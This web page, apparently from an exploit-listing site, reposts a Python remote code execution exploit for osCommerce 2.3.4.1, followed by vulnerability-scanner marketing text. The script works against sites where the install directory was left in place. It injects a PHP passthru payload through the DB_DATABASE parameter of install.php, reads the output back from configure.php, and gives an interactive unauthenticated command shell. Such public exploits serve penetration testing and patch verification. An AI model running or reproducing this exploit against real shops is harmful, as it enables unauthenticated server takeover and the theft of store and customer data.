oscommerce 2.3.4.1 remote code execution (2)

▸▸▸ Exploit & Vulnerability >>   webapps exploit & php vulnerability




oscommerce 2.3.4.1 remote code execution (2) Code Code...
				
# Exploit Title: osCommerce 2.3.4.1 - Remote Code Execution (2) # Vulnerability: Remote Command Execution when /install directory wasn't removed by the admin # Exploit: Exploiting the install.php finish process by injecting php payload into the db_database parameter & read the system command output from configure.php # Notes: The RCE doesn't need to be authenticated # Date: 26/06/2021 # Exploit Author: Bryan Leong <NobodyAtall> # Vendor Homepage: https://www.oscommerce.com/ # Version: osCommerce 2.3.4 # Tested on: Windows import requests import sys if(len(sys.argv) != 2): print("please specify the osCommerce url") print("format: python3 osCommerce2_3_4RCE.py <url>") print("eg: python3 osCommerce2_3_4RCE.py http://localhost/oscommerce-2.3.4/catalog") sys.exit(0) baseUrl = sys.argv[1] testVulnUrl = baseUrl + '/install/install.php' def rce(command): #targeting the finish step which is step 4 targetUrl = baseUrl + '/install/install.php?step=4' payload = "');" payload += "passthru('" + command + "');" # injecting system command here payload += "/*" #injecting parameter data = { 'DIR_FS_DOCUMENT_ROOT': './', 'DB_DATABASE' : payload } response = requests.post(targetUrl, data=data) if(response.status_code == 200): #print('[*] Successfully injected payload to config file') readCMDUrl = baseUrl + '/install/includes/configure.php' cmd = requests.get(readCMDUrl) commandRsl = cmd.text.split('\n') if(cmd.status_code == 200): #print('[*] System Command Execution Completed') #removing the error message above for i in range(2, len(commandRsl)): print(commandRsl[i]) else: return '[!] Configure.php not found' else: return '[!] Fail to inject payload' #testing vulnerability accessing the directory test = requests.get(testVulnUrl) #checking the install directory still exist or able to access or not if(test.status_code == 200): print('[*] Install directory still available, the host likely vulnerable to the exploit.') #testing system command injection print('[*] Testing injecting system command to test vulnerability') cmd = 'whoami' print('User: ', end='') err = rce(cmd) if(err != None): print(err) sys.exit(0) while(True): cmd = input('RCE_SHELL$ ') err = rce(cmd) if(err != None): print(err) sys.exit(0) else: print('[!] Install directory not found, the host is not vulnerable') sys.exit(0)

Oscommerce 2.3.4.1 remote code execution (2) Vulnerability / Exploit Source : Oscommerce 2.3.4.1 remote code execution (2)



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.